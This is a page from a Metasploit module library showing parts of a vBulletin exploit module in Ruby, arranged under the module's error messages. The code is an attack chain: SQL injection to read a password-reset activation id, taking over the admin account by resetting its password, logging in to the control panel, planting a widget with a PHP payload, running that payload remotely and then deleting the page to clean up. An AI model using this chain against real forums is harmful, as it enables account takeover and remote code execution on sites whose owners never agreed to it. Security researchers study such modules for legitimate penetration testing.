527:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
528:	
529:	        hv_question = get_hv_question(hv_hash)

Could not retrieve human verification question id.


Here is a relevant code snippet related to the "Could not retrieve human verification question id." error message:

522:	      elsif hv_type == 'Question' && hv_type != 'Disabled'
523:	        hv_hash = get_hv_hash
524:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
525:	
526:	        ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
527:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
528:	
529:	        hv_question = get_hv_question(hv_hash)
530:	        hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
531:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer
532:	

Could not retrieve human verification question or answer.


Here is a relevant code snippet related to the "Could not retrieve human verification question or answer." error message:

526:	        ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
527:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
528:	
529:	        hv_question = get_hv_question(hv_hash)
530:	        hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
531:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer
532:	
533:	        print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).")
534:	      end
535:	
536:	      # Make request to forget my password

Site requires captcha that we cannot bypass.


Here is a relevant code snippet related to the "Site requires captcha that we cannot bypass." error message:

535:	
536:	      # Make request to forget my password
537:	      brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)
538:	
539:	      # We fail here when the answer to the HV question contains a complex regex or is recaptcha2
540:	      fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
541:	    end
542:	
543:	    # Get Activation ID for forgot password request from DB
544:	    activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
545:	    fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id

Could not retrieve activation id for forgot password request.


Here is a relevant code snippet related to the "Could not retrieve activation id for forgot password request." error message:

540:	      fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
541:	    end
542:	
543:	    # Get Activation ID for forgot password request from DB
544:	    activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
545:	    fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id
546:	
547:	    # Make request setting new password
548:	    new_pass = rand_text_alphanumeric(rand(10..16))
549:	    rp_ret = reset_password(admin_uid, activation_id, new_pass)
550:	    fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret

Error attempting to reset password with activation id '<ACTIVATION_ID>'.


Here is a relevant code snippet related to the "Error attempting to reset password with activation id '<ACTIVATION_ID>'." error message:

545:	    fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id
546:	
547:	    # Make request setting new password
548:	    new_pass = rand_text_alphanumeric(rand(10..16))
549:	    rp_ret = reset_password(admin_uid, activation_id, new_pass)
550:	    fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret
551:	
552:	    # Login to vBulletin
553:	    cookie_jar, login_token = login(admin_user, new_pass)
554:	    fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
555:	

Could not login with username: '<ADMIN_USER>' and password: '<NEW_PASS>'.


Here is a relevant code snippet related to the "Could not login with username: '<ADMIN_USER>' and password: '<NEW_PASS>'." error message:

549:	    rp_ret = reset_password(admin_uid, activation_id, new_pass)
550:	    fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret
551:	
552:	    # Login to vBulletin
553:	    cookie_jar, login_token = login(admin_user, new_pass)
554:	    fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
555:	
556:	    # Activate Site Builder (is this necessary?!)
557:	    actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
558:	    fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
559:	

Could not activate site builder.


Here is a relevant code snippet related to the "Could not activate site builder." error message:

553:	    cookie_jar, login_token = login(admin_user, new_pass)
554:	    fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
555:	
556:	    # Activate Site Builder (is this necessary?!)
557:	    actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
558:	    fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
559:	
560:	    # Login to vBulletin
561:	    cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
562:	    fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
563:	

Could not login to CP with username: '<ADMIN_USER>' and password: '<NEW_PASS>'.


Here is a relevant code snippet related to the "Could not login to CP with username: '<ADMIN_USER>' and password: '<NEW_PASS>'." error message:

557:	    actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
558:	    fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
559:	
560:	    # Login to vBulletin
561:	    cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
562:	    fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
563:	
564:	    # Create new widget
565:	    wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
566:	    fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
567:	

Could not create new widget instance.


Here is a relevant code snippet related to the "Could not create new widget instance." error message:

561:	    cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
562:	    fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
563:	
564:	    # Create new widget
565:	    wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
566:	    fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
567:	
568:	    # Save modifications to widget
569:	    sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
570:	    fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret
571:	

Could not save payload modifications into widget instance.


Here is a relevant code snippet related to the "Could not save payload modifications into widget instance." error message:

565:	    wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
566:	    fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
567:	
568:	    # Save modifications to widget
569:	    sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
570:	    fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret
571:	
572:	    # Add page with widget embedded
573:	    payload_url = rand_text_alphanumeric(rand(6..10))
574:	    session_info = [login_token, cookie_jar]
575:	    page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)

Could not save newly created page with malicious widget.


Here is a relevant code snippet related to the "Could not save newly created page with malicious widget." error message:

571:	
572:	    # Add page with widget embedded
573:	    payload_url = rand_text_alphanumeric(rand(6..10))
574:	    session_info = [login_token, cookie_jar]
575:	    page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)
576:	    fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id
577:	
578:	    # Execute php payload
579:	    print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
580:	    exec_payload(payload_url)
581:	

Could not delete page (cleanup phase).


Here is a relevant code snippet related to the "Could not delete page (cleanup phase)." error message:

577:	
578:	    # Execute php payload
579:	    print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
580:	    exec_payload(payload_url)
581:	
582:	    # Delete page with widget embedded within it
583:	    dp_ret = delete_page(page_id, login_token, cookie_jar)
584:	    print_bad('Could not delete page (cleanup phase).') unless dp_ret
585:	  end
586:	
587:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Charles Fol <folcharles[at]gmail.com>
  • Zenofex <zenofex[at]exploitee.rs>

Version


This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.